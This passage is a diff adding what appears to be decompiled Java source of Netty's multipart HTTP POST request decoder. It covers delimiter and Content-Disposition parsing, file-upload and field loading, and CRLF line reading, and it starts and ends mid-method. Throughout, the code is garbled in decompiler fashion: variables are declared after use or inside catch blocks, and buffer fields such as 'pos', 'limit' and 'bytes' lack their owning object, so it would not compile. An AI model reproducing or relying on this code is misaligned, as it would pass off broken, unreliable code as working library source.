+      } catch (HttpPostRequestDecoder.NotEnoughDataDecoderException ignored) {
+        return null;
+      }
+      Attribute finalAttribute = currentAttribute;
+      currentAttribute = null;
+      currentFieldAttributes = null;
+      
+      currentStatus = HttpPostRequestDecoder.MultiPartStatus.HEADERDELIMITER;
+      return finalAttribute;
+    
+
+    case 6: 
+      return getFileUpload(multipartDataBoundary);
+    
+
+
+    case 7: 
+      return findMultipartDelimiter(multipartMixedBoundary, HttpPostRequestDecoder.MultiPartStatus.MIXEDDISPOSITION, HttpPostRequestDecoder.MultiPartStatus.HEADERDELIMITER);
+    
+
+    case 8: 
+      return findMultipartDisposition();
+    
+
+    case 9: 
+      return getFileUpload(multipartMixedBoundary);
+    
+    case 10: 
+      return null;
+    case 11: 
+      return null;
+    }
+    throw new HttpPostRequestDecoder.ErrorDataDecoderException("Shouldn't reach here.");
+  }
+  
+
+
+
+
+
+  void skipControlCharacters()
+  {
+    try
+    {
+      sao = new HttpPostBodyUtil.SeekAheadOptimize(undecodedChunk);
+    } catch (HttpPostBodyUtil.SeekAheadNoBackArrayException ignored) {
+      try { HttpPostBodyUtil.SeekAheadOptimize sao;
+        skipControlCharactersStandard();
+      } catch (IndexOutOfBoundsException e1) {
+        throw new HttpPostRequestDecoder.NotEnoughDataDecoderException(e1);
+      }
+      return;
+    }
+    HttpPostBodyUtil.SeekAheadOptimize sao;
+    while (pos < limit) {
+      char c = (char)(bytes[(pos++)] & 0xFF);
+      if ((!Character.isISOControl(c)) && (!Character.isWhitespace(c))) {
+        sao.setReadPosition(1);
+        return;
+      }
+    }
+    throw new HttpPostRequestDecoder.NotEnoughDataDecoderException("Access out of bounds");
+  }
+  
+  void skipControlCharactersStandard() {
+    for (;;) {
+      char c = (char)undecodedChunk.readUnsignedByte();
+      if ((!Character.isISOControl(c)) && (!Character.isWhitespace(c))) {
+        undecodedChunk.readerIndex(undecodedChunk.readerIndex() - 1);
+        break;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private InterfaceHttpData findMultipartDelimiter(String delimiter, HttpPostRequestDecoder.MultiPartStatus dispositionStatus, HttpPostRequestDecoder.MultiPartStatus closeDelimiterStatus)
+  {
+    int readerIndex = undecodedChunk.readerIndex();
+    try {
+      skipControlCharacters();
+    } catch (HttpPostRequestDecoder.NotEnoughDataDecoderException ignored) {
+      undecodedChunk.readerIndex(readerIndex);
+      return null;
+    }
+    skipOneLine();
+    try
+    {
+      newline = readDelimiter(delimiter);
+    } catch (HttpPostRequestDecoder.NotEnoughDataDecoderException ignored) { String newline;
+      undecodedChunk.readerIndex(readerIndex);
+      return null; }
+    String newline;
+    if (newline.equals(delimiter)) {
+      currentStatus = dispositionStatus;
+      return decodeMultipart(dispositionStatus);
+    }
+    if (newline.equals(delimiter + "--"))
+    {
+      currentStatus = closeDelimiterStatus;
+      if (currentStatus == HttpPostRequestDecoder.MultiPartStatus.HEADERDELIMITER)
+      {
+
+        currentFieldAttributes = null;
+        return decodeMultipart(HttpPostRequestDecoder.MultiPartStatus.HEADERDELIMITER);
+      }
+      return null;
+    }
+    undecodedChunk.readerIndex(readerIndex);
+    throw new HttpPostRequestDecoder.ErrorDataDecoderException("No Multipart delimiter found");
+  }
+  
+
+
+
+
+
+  private InterfaceHttpData findMultipartDisposition()
+  {
+    int readerIndex = undecodedChunk.readerIndex();
+    if (currentStatus == HttpPostRequestDecoder.MultiPartStatus.DISPOSITION) {
+      currentFieldAttributes = new TreeMap(CaseIgnoringComparator.INSTANCE);
+    }
+    
+    while (!skipOneLine())
+    {
+      try {
+        skipControlCharacters();
+        newline = readLine();
+      } catch (HttpPostRequestDecoder.NotEnoughDataDecoderException ignored) { String newline;
+        undecodedChunk.readerIndex(readerIndex);
+        return null; }
+      String newline;
+      String[] contents = splitMultipartHeader(newline);
+      if (HttpHeaderNames.CONTENT_DISPOSITION.contentEqualsIgnoreCase(contents[0])) { boolean checkSecondArg;
+        boolean checkSecondArg;
+        if (currentStatus == HttpPostRequestDecoder.MultiPartStatus.DISPOSITION) {
+          checkSecondArg = HttpHeaderValues.FORM_DATA.contentEqualsIgnoreCase(contents[1]);
+        } else {
+          checkSecondArg = (HttpHeaderValues.ATTACHMENT.contentEqualsIgnoreCase(contents[1])) || (HttpHeaderValues.FILE.contentEqualsIgnoreCase(contents[1]));
+        }
+        
+        if (checkSecondArg)
+        {
+          for (int i = 2; i < contents.length; i++) {
+            String[] values = contents[i].split("=", 2);
+            try
+            {
+              String name = cleanString(values[0]);
+              String value = values[1];
+              
+
+              if (HttpHeaderValues.FILENAME.contentEquals(name))
+              {
+                value = value.substring(1, value.length() - 1);
+              }
+              else {
+                value = cleanString(value);
+              }
+              attribute = factory.createAttribute(request, name, value);
+            } catch (NullPointerException e) { Attribute attribute;
+              throw new HttpPostRequestDecoder.ErrorDataDecoderException(e);
+            } catch (IllegalArgumentException e) {
+              throw new HttpPostRequestDecoder.ErrorDataDecoderException(e); }
+            Attribute attribute;
+            currentFieldAttributes.put(attribute.getName(), attribute);
+          }
+        }
+      } else if (HttpHeaderNames.CONTENT_TRANSFER_ENCODING.contentEqualsIgnoreCase(contents[0]))
+      {
+        try {
+          attribute = factory.createAttribute(request, HttpHeaderNames.CONTENT_TRANSFER_ENCODING.toString(), cleanString(contents[1]));
+        } catch (NullPointerException e) {
+          Attribute attribute;
+          throw new HttpPostRequestDecoder.ErrorDataDecoderException(e);
+        } catch (IllegalArgumentException e) {
+          throw new HttpPostRequestDecoder.ErrorDataDecoderException(e);
+        }
+        Attribute attribute;
+        currentFieldAttributes.put(HttpHeaderNames.CONTENT_TRANSFER_ENCODING, attribute);
+      } else if (HttpHeaderNames.CONTENT_LENGTH.contentEqualsIgnoreCase(contents[0]))
+      {
+        try {
+          attribute = factory.createAttribute(request, HttpHeaderNames.CONTENT_LENGTH.toString(), cleanString(contents[1]));
+        } catch (NullPointerException e) {
+          Attribute attribute;
+          throw new HttpPostRequestDecoder.ErrorDataDecoderException(e);
+        } catch (IllegalArgumentException e) {
+          throw new HttpPostRequestDecoder.ErrorDataDecoderException(e);
+        }
+        Attribute attribute;
+        currentFieldAttributes.put(HttpHeaderNames.CONTENT_LENGTH, attribute);
+      } else if (HttpHeaderNames.CONTENT_TYPE.contentEqualsIgnoreCase(contents[0]))
+      {
+        if (HttpHeaderValues.MULTIPART_MIXED.contentEqualsIgnoreCase(contents[1])) {
+          if (currentStatus == HttpPostRequestDecoder.MultiPartStatus.DISPOSITION) {
+            String values = StringUtil.substringAfter(contents[2], '=');
+            multipartMixedBoundary = ("--" + values);
+            currentStatus = HttpPostRequestDecoder.MultiPartStatus.MIXEDDELIMITER;
+            return decodeMultipart(HttpPostRequestDecoder.MultiPartStatus.MIXEDDELIMITER);
+          }
+          throw new HttpPostRequestDecoder.ErrorDataDecoderException("Mixed Multipart found in a previous Mixed Multipart");
+        }
+        
+        for (int i = 1; i < contents.length; i++) {
+          if (contents[i].toLowerCase().startsWith(HttpHeaderValues.CHARSET.toString())) {
+            String values = StringUtil.substringAfter(contents[i], '=');
+            try
+            {
+              attribute = factory.createAttribute(request, HttpHeaderValues.CHARSET.toString(), cleanString(values));
+            } catch (NullPointerException e) {
+              Attribute attribute;
+              throw new HttpPostRequestDecoder.ErrorDataDecoderException(e);
+            } catch (IllegalArgumentException e) {
+              throw new HttpPostRequestDecoder.ErrorDataDecoderException(e); }
+            Attribute attribute;
+            currentFieldAttributes.put(HttpHeaderValues.CHARSET, attribute);
+          }
+          else {
+            try {
+              attribute = factory.createAttribute(request, cleanString(contents[0]), contents[i]);
+            } catch (NullPointerException e) {
+              Attribute attribute;
+              throw new HttpPostRequestDecoder.ErrorDataDecoderException(e);
+            } catch (IllegalArgumentException e) {
+              throw new HttpPostRequestDecoder.ErrorDataDecoderException(e); }
+            Attribute attribute;
+            currentFieldAttributes.put(attribute.getName(), attribute);
+          }
+        }
+      }
+      else {
+        throw new HttpPostRequestDecoder.ErrorDataDecoderException("Unknown Params: " + newline);
+      }
+    }
+    
+    Attribute filenameAttribute = (Attribute)currentFieldAttributes.get(HttpHeaderValues.FILENAME);
+    if (currentStatus == HttpPostRequestDecoder.MultiPartStatus.DISPOSITION) {
+      if (filenameAttribute != null)
+      {
+        currentStatus = HttpPostRequestDecoder.MultiPartStatus.FILEUPLOAD;
+        
+        return decodeMultipart(HttpPostRequestDecoder.MultiPartStatus.FILEUPLOAD);
+      }
+      
+      currentStatus = HttpPostRequestDecoder.MultiPartStatus.FIELD;
+      
+      return decodeMultipart(HttpPostRequestDecoder.MultiPartStatus.FIELD);
+    }
+    
+    if (filenameAttribute != null)
+    {
+      currentStatus = HttpPostRequestDecoder.MultiPartStatus.MIXEDFILEUPLOAD;
+      
+      return decodeMultipart(HttpPostRequestDecoder.MultiPartStatus.MIXEDFILEUPLOAD);
+    }
+    
+    throw new HttpPostRequestDecoder.ErrorDataDecoderException("Filename not found");
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  protected InterfaceHttpData getFileUpload(String delimiter)
+  {
+    Attribute encoding = (Attribute)currentFieldAttributes.get(HttpHeaderNames.CONTENT_TRANSFER_ENCODING);
+    Charset localCharset = charset;
+    
+    HttpPostBodyUtil.TransferEncodingMechanism mechanism = HttpPostBodyUtil.TransferEncodingMechanism.BIT7;
+    if (encoding != null)
+    {
+      try {
+        code = encoding.getValue().toLowerCase();
+      } catch (IOException e) { String code;
+        throw new HttpPostRequestDecoder.ErrorDataDecoderException(e); }
+      String code;
+      if (code.equals(HttpPostBodyUtil.TransferEncodingMechanism.BIT7.value())) {
+        localCharset = CharsetUtil.US_ASCII;
+      } else if (code.equals(HttpPostBodyUtil.TransferEncodingMechanism.BIT8.value())) {
+        localCharset = CharsetUtil.ISO_8859_1;
+        mechanism = HttpPostBodyUtil.TransferEncodingMechanism.BIT8;
+      } else if (code.equals(HttpPostBodyUtil.TransferEncodingMechanism.BINARY.value()))
+      {
+        mechanism = HttpPostBodyUtil.TransferEncodingMechanism.BINARY;
+      } else {
+        throw new HttpPostRequestDecoder.ErrorDataDecoderException("TransferEncoding Unknown: " + code);
+      }
+    }
+    Attribute charsetAttribute = (Attribute)currentFieldAttributes.get(HttpHeaderValues.CHARSET);
+    if (charsetAttribute != null) {
+      try {
+        localCharset = Charset.forName(charsetAttribute.getValue());
+      } catch (IOException e) {
+        throw new HttpPostRequestDecoder.ErrorDataDecoderException(e);
+      } catch (UnsupportedCharsetException e) {
+        throw new HttpPostRequestDecoder.ErrorDataDecoderException(e);
+      }
+    }
+    if (currentFileUpload == null) {
+      Attribute filenameAttribute = (Attribute)currentFieldAttributes.get(HttpHeaderValues.FILENAME);
+      Attribute nameAttribute = (Attribute)currentFieldAttributes.get(HttpHeaderValues.NAME);
+      Attribute contentTypeAttribute = (Attribute)currentFieldAttributes.get(HttpHeaderNames.CONTENT_TYPE);
+      Attribute lengthAttribute = (Attribute)currentFieldAttributes.get(HttpHeaderNames.CONTENT_LENGTH);
+      long size;
+      try {
+        size = lengthAttribute != null ? Long.parseLong(lengthAttribute.getValue()) : 0L;
+      } catch (IOException e) { long size;
+        throw new HttpPostRequestDecoder.ErrorDataDecoderException(e);
+      } catch (NumberFormatException ignored) {
+        size = 0L;
+      }
+      try { String contentType;
+        String contentType;
+        if (contentTypeAttribute != null) {
+          contentType = contentTypeAttribute.getValue();
+        } else {
+          contentType = "application/octet-stream";
+        }
+        currentFileUpload = factory.createFileUpload(request, cleanString(nameAttribute.getValue()), cleanString(filenameAttribute.getValue()), contentType, mechanism.value(), localCharset, size);
+
+      }
+      catch (NullPointerException e)
+      {
+        throw new HttpPostRequestDecoder.ErrorDataDecoderException(e);
+      } catch (IllegalArgumentException e) {
+        throw new HttpPostRequestDecoder.ErrorDataDecoderException(e);
+      } catch (IOException e) {
+        throw new HttpPostRequestDecoder.ErrorDataDecoderException(e);
+      }
+    }
+    try
+    {
+      readFileUploadByteMultipart(delimiter);
+
+    }
+    catch (HttpPostRequestDecoder.NotEnoughDataDecoderException e)
+    {
+      return null;
+    }
+    if (currentFileUpload.isCompleted())
+    {
+      if (currentStatus == HttpPostRequestDecoder.MultiPartStatus.FILEUPLOAD) {
+        currentStatus = HttpPostRequestDecoder.MultiPartStatus.HEADERDELIMITER;
+        currentFieldAttributes = null;
+      } else {
+        currentStatus = HttpPostRequestDecoder.MultiPartStatus.MIXEDDELIMITER;
+        cleanMixedAttributes();
+      }
+      FileUpload fileUpload = currentFileUpload;
+      currentFileUpload = null;
+      return fileUpload;
+    }
+    
+
+
+    return null;
+  }
+  
+
+
+
+
+  public void destroy()
+  {
+    checkDestroyed();
+    cleanFiles();
+    destroyed = true;
+    
+    if ((undecodedChunk != null) && (undecodedChunk.refCnt() > 0)) {
+      undecodedChunk.release();
+      undecodedChunk = null;
+    }
+    
+
+    for (int i = bodyListHttpDataRank; i < bodyListHttpData.size(); i++) {
+      ((InterfaceHttpData)bodyListHttpData.get(i)).release();
+    }
+  }
+  
+
+
+
+  public void cleanFiles()
+  {
+    checkDestroyed();
+    
+    factory.cleanRequestHttpData(request);
+  }
+  
+
+
+
+  public void removeHttpDataFromClean(InterfaceHttpData data)
+  {
+    checkDestroyed();
+    
+    factory.removeHttpDataFromClean(request, data);
+  }
+  
+
+
+
+  private void cleanMixedAttributes()
+  {
+    currentFieldAttributes.remove(HttpHeaderValues.CHARSET);
+    currentFieldAttributes.remove(HttpHeaderNames.CONTENT_LENGTH);
+    currentFieldAttributes.remove(HttpHeaderNames.CONTENT_TRANSFER_ENCODING);
+    currentFieldAttributes.remove(HttpHeaderNames.CONTENT_TYPE);
+    currentFieldAttributes.remove(HttpHeaderValues.FILENAME);
+  }
+  
+
+
+
+
+
+
+
+  private String readLineStandard()
+  {
+    int readerIndex = undecodedChunk.readerIndex();
+    try {
+      ByteBuf line = Unpooled.buffer(64);
+      
+      while (undecodedChunk.isReadable()) {
+        byte nextByte = undecodedChunk.readByte();
+        if (nextByte == 13)
+        {
+          nextByte = undecodedChunk.getByte(undecodedChunk.readerIndex());
+          if (nextByte == 10)
+          {
+            undecodedChunk.readByte();
+            return line.toString(charset);
+          }
+          
+          line.writeByte(13);
+        } else {
+          if (nextByte == 10) {
+            return line.toString(charset);
+          }
+          line.writeByte(nextByte);
+        }
+      }
+    } catch (IndexOutOfBoundsException e) {
+      undecodedChunk.readerIndex(readerIndex);
+      throw new HttpPostRequestDecoder.NotEnoughDataDecoderException(e);
+    }
+    undecodedChunk.readerIndex(readerIndex);
+    throw new HttpPostRequestDecoder.NotEnoughDataDecoderException();
+  }
+  
+
+
+
+
+
+
+
+  private String readLine()
+  {
+    try
+    {
+      sao = new HttpPostBodyUtil.SeekAheadOptimize(undecodedChunk);
+    } catch (HttpPostBodyUtil.SeekAheadNoBackArrayException ignored) { HttpPostBodyUtil.SeekAheadOptimize sao;
+      return readLineStandard(); }
+    HttpPostBodyUtil.SeekAheadOptimize sao;
+    int readerIndex = undecodedChunk.readerIndex();
+    try {
+      ByteBuf line = Unpooled.buffer(64);
+      
+      while (pos < limit) {
+        byte nextByte = bytes[(pos++)];
+        if (nextByte == 13) {
+          if (pos < limit) {
+            nextByte = bytes[(pos++)];
+            if (nextByte == 10) {
+              sao.setReadPosition(0);
+              return line.toString(charset);
+            }
+            
+            pos -= 1;
+            line.writeByte(13);
+          }
+          else {
+            line.writeByte(nextByte);
+          }
+        } else { if (nextByte == 10) {
+            sao.setReadPosition(0);
+            return line.toString(charset);
+          }
+          line.writeByte(nextByte);
+        }
+      }
+    } catch (IndexOutOfBoundsException e) {
+      undecodedChunk.readerIndex(readerIndex);
+      throw new HttpPostRequestDecoder.NotEnoughDataDecoderException(e);
+    }
+    undecodedChunk.readerIndex(readerIndex);
+    throw new HttpPostRequestDecoder.NotEnoughDataDecoderException();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private String readDelimiterStandard(String delimiter)
+  {
+    int readerIndex = undecodedChunk.readerIndex();
+    try {
+      StringBuilder sb = new StringBuilder(64);
+      int delimiterPos = 0;
+      int len = delimiter.length();
+      while ((undecodedChunk.isReadable()) && (delimiterPos < len)) {
+        byte nextByte = undecodedChunk.readByte();
+        if (nextByte == delimiter.charAt(delimiterPos)) {
+          delimiterPos++;
+          sb.append((char)nextByte);
+        }
+        else {
+          undecodedChunk.readerIndex(readerIndex);
+          throw new HttpPostRequestDecoder.NotEnoughDataDecoderException();
+        }
+      }
+      
+      if (undecodedChunk.isReadable()) {
+        byte nextByte = undecodedChunk.readByte();
+        
+        if (nextByte == 13) {
+          nextByte = undecodedChunk.readByte();
+          if (nextByte == 10) {
+            return sb.toString();
+          }
+          
+
+          undecodedChunk.readerIndex(readerIndex);
+          throw new HttpPostRequestDecoder.NotEnoughDataDecoderException();
+        }
+        if (nextByte == 10)
+          return sb.toString();
+        if (nextByte == 45) {
+          sb.append('-');
+          
+          nextByte = undecodedChunk.readByte();
+          if (nextByte == 45) {
+            sb.append('-');
+            
+            if (undecodedChunk.isReadable()) {
+              nextByte = undecodedChunk.readByte();
+              if (nextByte == 13) {
+                nextByte = undecodedChunk.readByte();
+                if (nextByte == 10) {
+                  return sb.toString();
+                }
+                
+
+                undecodedChunk.readerIndex(readerIndex);
+                throw new HttpPostRequestDecoder.NotEnoughDataDecoderException();
+              }
+              if (nextByte == 10) {
+                return sb.toString();
+              }
+              
+
+
+              undecodedChunk.readerIndex(undecodedChunk.readerIndex() - 1);
+              return sb.toString();
+            }
+            
+
+
+
+
+            return sb.toString();
+          }
+        }
+      }
+    }
+    catch (IndexOutOfBoundsException e)
+    {
+      undecodedChunk.readerIndex(readerIndex);
+      throw new HttpPostRequestDecoder.NotEnoughDataDecoderException(e);
+    }
+    undecodedChunk.readerIndex(readerIndex);
+    throw new HttpPostRequestDecoder.NotEnoughDataDecoderException();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private String readDelimiter(String delimiter)
+  {
+    try
+    {
+      sao = new HttpPostBodyUtil.SeekAheadOptimize(undecodedChunk);
+    } catch (HttpPostBodyUtil.SeekAheadNoBackArrayException ignored) { HttpPostBodyUtil.SeekAheadOptimize sao;
+      return readDelimiterStandard(delimiter); }
+    HttpPostBodyUtil.SeekAheadOptimize sao;
+    int readerIndex = undecodedChunk.readerIndex();
+    int delimiterPos = 0;
+    int len = delimiter.length();
+    try {
+      StringBuilder sb = new StringBuilder(64);
+      
+      while ((pos < limit) && (delimiterPos < len)) {
+        byte nextByte = bytes[(pos++)];
+        if (nextByte == delimiter.charAt(delimiterPos)) {
+          delimiterPos++;
+          sb.append((char)nextByte);
+        }
+        else {
+          undecodedChunk.readerIndex(readerIndex);
+          throw new HttpPostRequestDecoder.NotEnoughDataDecoderException();
+        }
+      }
+      
+      if (pos < limit) {
+        byte nextByte = bytes[(pos++)];
+        if (nextByte == 13)
+        {
+          if (pos < limit) {
+            nextByte = bytes[(pos++)];
+            if (nextByte == 10) {
+              sao.setReadPosition(0);
+              return sb.toString();
+            }
+            
+
+            undecodedChunk.readerIndex(readerIndex);
+            throw new HttpPostRequestDecoder.NotEnoughDataDecoderException();
+          }
+          
+
+
+          undecodedChunk.readerIndex(readerIndex);
+          throw new HttpPostRequestDecoder.NotEnoughDataDecoderException();
+        }
+        if (nextByte == 10)
+        {
+
+          sao.setReadPosition(0);
+          return sb.toString(); }
+        if (nextByte == 45) {
+          sb.append('-');
+          
+          if (pos < limit) {
+            nextByte = bytes[(pos++)];
+            if (nextByte == 45) {
+              sb.append('-');
+              
+              if (pos < limit) {
+                nextByte = bytes[(pos++)];
+                if (nextByte == 13) {
+                  if (pos < limit) {
+                    nextByte = bytes[(pos++)];
+                    if (nextByte == 10) {
+                      sao.setReadPosition(0);
+                      return sb.toString();
+                    }
+                    
+
+                    undecodedChunk.readerIndex(readerIndex);
+                    throw new HttpPostRequestDecoder.NotEnoughDataDecoderException();
+                  }
+                  
+
+
+                  undecodedChunk.readerIndex(readerIndex);
+                  throw new HttpPostRequestDecoder.NotEnoughDataDecoderException();
+                }
+                if (nextByte == 10) {
+                  sao.setReadPosition(0);
+                  return sb.toString();
+                }
+                
+
+
+
+                sao.setReadPosition(1);
+                return sb.toString();
+              }
+              
+
+
+
+
+              sao.setReadPosition(0);
+              return sb.toString();
+            }
+            
+          }
+        }
+      }
+    }
+    catch (IndexOutOfBoundsException e)
+    {
+      undecodedChunk.readerIndex(readerIndex);
+      throw new HttpPostRequestDecoder.NotEnoughDataDecoderException(e);
+    }
+    undecodedChunk.readerIndex(readerIndex);
+    throw new HttpPostRequestDecoder.NotEnoughDataDecoderException();
+  }
+  
+
+
+
+
+
+
+
+
+
+  private void readFileUploadByteMultipartStandard(String delimiter)
+  {
+    int readerIndex = undecodedChunk.readerIndex();
+    
+    boolean newLine = true;
+    int index = 0;
+    int lastPosition = undecodedChunk.readerIndex();
+    boolean found = false;
+    while (undecodedChunk.isReadable()) {
+      byte nextByte = undecodedChunk.readByte();
+      if (newLine)
+      {
+        if (nextByte == delimiter.codePointAt(index)) {
+          index++;
+          if (delimiter.length() == index) {
+            found = true;
+            break;
+          }
+        }
+        else {
+          newLine = false;
+          index = 0;
+          
+          if (nextByte == 13) {
+            if (undecodedChunk.isReadable()) {
+              nextByte = undecodedChunk.readByte();
+              if (nextByte == 10) {
+                newLine = true;
+                index = 0;
+                lastPosition = undecodedChunk.readerIndex() - 2;
+              }
+              else {
+                lastPosition = undecodedChunk.readerIndex() - 1;
+                
+
+                undecodedChunk.readerIndex(lastPosition);
+              }
+            }
+          } else if (nextByte == 10) {
+            newLine = true;
+            index = 0;
+            lastPosition = undecodedChunk.readerIndex() - 1;
+          }
+          else {
+            lastPosition = undecodedChunk.readerIndex();
+          }
+          
+        }
+      }
+      else if (nextByte == 13) {
+        if (undecodedChunk.isReadable()) {
+          nextByte = undecodedChunk.readByte();
+          if (nextByte == 10) {
+            newLine = true;
+            index = 0;
+            lastPosition = undecodedChunk.readerIndex() - 2;
+          }
+          else {
+            lastPosition = undecodedChunk.readerIndex() - 1;
+            
+
+            undecodedChunk.readerIndex(lastPosition);
+          }
+        }
+      } else if (nextByte == 10) {
+        newLine = true;
+        index = 0;
+        lastPosition = undecodedChunk.readerIndex() - 1;
+      }
+      else {
+        lastPosition = undecodedChunk.readerIndex();
+      }
+    }
+    
+    ByteBuf buffer = undecodedChunk.copy(readerIndex, lastPosition - readerIndex);
+    if (found) {
+      try
+      {
+        currentFileUpload.addContent(buffer, true);
+        
+        undecodedChunk.readerIndex(lastPosition);
+      } catch (IOException e) {
+        throw new HttpPostRequestDecoder.ErrorDataDecoderException(e);
+      }
+      
+    } else {
+      try
+      {
+        currentFileUpload.addContent(buffer, false);
+        
+        undecodedChunk.readerIndex(lastPosition);
+        throw new HttpPostRequestDecoder.NotEnoughDataDecoderException();
+      } catch (IOException e) {
+        throw new HttpPostRequestDecoder.ErrorDataDecoderException(e);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  private void readFileUploadByteMultipart(String delimiter)
+  {
+    try
+    {
+      sao = new HttpPostBodyUtil.SeekAheadOptimize(undecodedChunk);
+    } catch (HttpPostBodyUtil.SeekAheadNoBackArrayException ignored) { HttpPostBodyUtil.SeekAheadOptimize sao;
+      readFileUploadByteMultipartStandard(delimiter); return;
+    }
+    HttpPostBodyUtil.SeekAheadOptimize sao;
+    int readerIndex = undecodedChunk.readerIndex();
+    
+    boolean newLine = true;
+    int index = 0;
+    int lastrealpos = pos;
+    
+    boolean found = false;
+    
+    while (pos < limit) {
+      byte nextByte = bytes[(pos++)];
+      if (newLine)
+      {
+        if (nextByte == delimiter.codePointAt(index)) {
+          index++;
+          if (delimiter.length() == index) {
+            found = true;
+            break;
+          }
+        }
+        else {
+          newLine = false;
+          index = 0;
+          
+          if (nextByte == 13) {
+            if (pos < limit) {
+              nextByte = bytes[(pos++)];
+              if (nextByte == 10) {
+                newLine = true;
+                index = 0;
+                lastrealpos = pos - 2;
+              }
+              else {
+                pos -= 1;
+                
+
+                lastrealpos = pos;
+              }
+            }
+          } else if (nextByte == 10) {
+            newLine = true;
+            index = 0;
+            lastrealpos = pos - 1;
+          }
+          else {
+            lastrealpos = pos;
+          }
+          
+        }
+      }
+      else if (nextByte == 13) {
+        if (pos < limit) {
+          nextByte = bytes[(pos++)];
+          if (nextByte == 10) {
+            newLine = true;
+            index = 0;
+            lastrealpos = pos - 2;
+          }
+          else {
+            pos -= 1;
+            
+
+            lastrealpos = pos;
+          }
+        }
+      } else if (nextByte == 10) {
+        newLine = true;
+        index = 0;
+        lastrealpos = pos - 1;
+      }
+      else {
+        lastrealpos = pos;
+      }
+    }
+    
+    int lastPosition = sao.getReadPosition(lastrealpos);
+    ByteBuf buffer = undecodedChunk.copy(readerIndex, lastPosition - readerIndex);
+    if (found) {
+      try
+      {
+        currentFileUpload.addContent(buffer, true);
+        
+        undecodedChunk.readerIndex(lastPosition);
+      } catch (IOException e) {
+        throw new HttpPostRequestDecoder.ErrorDataDecoderException(e);
+      }
+      
+    } else {
+      try
+      {
+        currentFileUpload.addContent(buffer, false);
+        
+        undecodedChunk.readerIndex(lastPosition);
+        throw new HttpPostRequestDecoder.NotEnoughDataDecoderException();
+      } catch (IOException e) {
+        throw new HttpPostRequestDecoder.ErrorDataDecoderException(e);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  private void loadFieldMultipartStandard(String delimiter)
+  {
+    int readerIndex = undecodedChunk.readerIndex();
+    try
+    {
+      boolean newLine = true;
+      int index = 0;
+      int lastPosition = undecodedChunk.readerIndex();
+      boolean found = false;
+      while (undecodedChunk.isReadable()) {
+        byte nextByte = undecodedChunk.readByte();
+        if (newLine)
+        {
+          if (nextByte == delimiter.codePointAt(index)) {
+            index++;
+            if (delimiter.length() == index) {
+              found = true;
+              break;
+            }
+          }
+          else {
+            newLine = false;
+            index = 0;
+            
+            if (nextByte == 13) {
+              if (undecodedChunk.isReadable()) {
+                nextByte = undecodedChunk.readByte();
+                if (nextByte == 10) {
+                  newLine = true;
+                  index = 0;
+                  lastPosition = undecodedChunk.readerIndex() - 2;
+                }
+                else {
+                  lastPosition = undecodedChunk.readerIndex() - 1;
+                  undecodedChunk.readerIndex(lastPosition);
+                }
+              } else {
+                lastPosition = undecodedChunk.readerIndex() - 1;
+              }
+            } else if (nextByte == 10) {
+              newLine = true;
+              index = 0;
+              lastPosition = undecodedChunk.readerIndex() - 1;
+            } else {
+              lastPosition = undecodedChunk.readerIndex();
+            }
+            
+          }
+        }
+        else if (nextByte == 13) {
+          if (undecodedChunk.isReadable()) {
+            nextByte = undecodedChunk.readByte();
+            if (nextByte == 10) {
+              newLine = true;
+              index = 0;
+              lastPosition = undecodedChunk.readerIndex() - 2;
+            }
+            else {
+              lastPosition = undecodedChunk.readerIndex() - 1;
+              undecodedChunk.readerIndex(lastPosition);
+            }
+          } else {
+            lastPosition = undecodedChunk.readerIndex() - 1;
+          }
+        } else if (nextByte == 10) {
+          newLine = true;
+          index = 0;
+          lastPosition = undecodedChunk.readerIndex() - 1;
+        } else {
+          lastPosition = undecodedChunk.readerIndex();
+        }
+      }
+      
+      if (found)
+      {
+
+        try
+        {
+
+          currentAttribute.addContent(undecodedChunk.copy(readerIndex, lastPosition - readerIndex), true);
+        }
+        catch (IOException e) {
+          throw new HttpPostRequestDecoder.ErrorDataDecoderException(e);
+        }
+        undecodedChunk.readerIndex(lastPosition);
+      } else {
+        try {
+          currentAttribute.addContent(undecodedChunk.copy(readerIndex, lastPosition - readerIndex), false);
+        }
+        catch (IOException e) {
+          throw new HttpPostRequestDecoder.ErrorDataDecoderException(e);
+        }
+        undecodedChunk.readerIndex(lastPosition);
+        throw new HttpPostRequestDecoder.NotEnoughDataDecoderException();
+      }
+    } catch (IndexOutOfBoundsException e) {
+      undecodedChunk.readerIndex(readerIndex);
+      throw new HttpPostRequestDecoder.NotEnoughDataDecoderException(e);
+    }
+  }
+  
+
+
+
+
+
+
+  private void loadFieldMultipart(String delimiter)
+  {
+    try
+    {
+      sao = new HttpPostBodyUtil.SeekAheadOptimize(undecodedChunk);
+    } catch (HttpPostBodyUtil.SeekAheadNoBackArrayException ignored) { HttpPostBodyUtil.SeekAheadOptimize sao;
+      loadFieldMultipartStandard(delimiter); return;
+    }
+    HttpPostBodyUtil.SeekAheadOptimize sao;
+    int readerIndex = undecodedChunk.readerIndex();
+    try
+    {
+      boolean newLine = true;
+      int index = 0;
+      
+      int lastrealpos = pos;
+      boolean found = false;
+      
+      while (pos < limit) {
+        byte nextByte = bytes[(pos++)];
+        if (newLine)
+        {
+          if (nextByte == delimiter.codePointAt(index)) {
+            index++;
+            if (delimiter.length() == index) {
+              found = true;
+              break;
+            }
+          }
+          else {
+            newLine = false;
+            index = 0;
+            
+            if (nextByte == 13) {
+              if (pos < limit) {
+                nextByte = bytes[(pos++)];
+                if (nextByte == 10) {
+                  newLine = true;
+                  index = 0;
+                  lastrealpos = pos - 2;
+                }
+                else {
+                  pos -= 1;
+                  lastrealpos = pos;
+                }
+              }
+            } else if (nextByte == 10) {
+              newLine = true;
+              index = 0;
+              lastrealpos = pos - 1;
+            } else {
+              lastrealpos = pos;
+            }
+            
+          }
+        }
+        else if (nextByte == 13) {
+          if (pos < limit) {
+            nextByte = bytes[(pos++)];
+            if (nextByte == 10) {
+              newLine = true;
+              index = 0;
+              lastrealpos = pos - 2;
+            }
+            else {
+              pos -= 1;
+              lastrealpos = pos;
+            }
+          }
+        } else if (nextByte == 10) {
+          newLine = true;
+          index = 0;
+          lastrealpos = pos - 1;
+        } else {
+          lastrealpos = pos;
+        }
+      }
+      
+      int lastPosition = sao.getReadPosition(lastrealpos);
+      if (found)
+      {
+
+        try
+        {
+
